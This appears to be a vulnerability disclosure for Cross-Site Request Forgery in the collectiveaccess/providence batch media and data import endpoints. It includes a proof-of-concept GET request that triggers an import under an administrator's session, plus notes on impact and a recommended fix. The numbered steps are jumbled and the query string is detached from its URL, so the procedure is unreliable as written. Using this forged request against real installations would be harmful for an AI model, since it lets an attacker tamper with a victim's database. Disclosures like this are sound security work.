Cross-Site Request Forgery (CSRF) in collectiveaccess/providenceValid
Sep 25th 2021
No CSRF token and GET requests allowed in Data and Metadata imports
Proof of Concept
1. Login &import_target=ca_entities&directory=test&import_mode=TRY_TO_MATCH&ca_entities_type_id=89&ca_object_representations_type_id=140&ca_entities_representation_relationship_type=23&set_mode=none&idno_mode=form&idno_entity_number=&ca_entities_status=0&ca_entities_access=0&ca_object_representations_status=0&ca_object_representations_access=0&match_mode=FILE_NAME&match_type=EXACT&ca_entities_limit_matching_to_type_ids%5b%5d=89&representation_idno_mode=form&idno_representation_number=&skip_file_list=&log_level=3 4. You should see success indicating no CSRF token requiredadministrator 2. a directory called test /import directory a CSV inside 3. the browser with administrator cookies, visit http://[WEB-SERVER]/providence/ .php/batch/MediaImport/Save/Screen42?_formName=caBatchMediaImportForm
Important Note: Metadata imports are not very dangerous because files are required to be install in /import. However, Data Imports are also vulnerable to this, in that case, the it is more dangerous as files can be sent over HTTP requests and do not need to be stored in /import directory. I did not choose to use this because I do not know the required format of Data Imports and Media imports were easier to demonstrate. However I have also found out that CSRF tokens are also not being used in Data Imports. Thus I have rated the CVSS according to this.
This vulnerability is capable of allowing an attacker to disrupt the database by getting the administrator to click on a malicious hyperlink with malicious Data Imports through Media and Data Imports.
Enable CSRF token for Data Imports (recommended) and Media Imports (optional)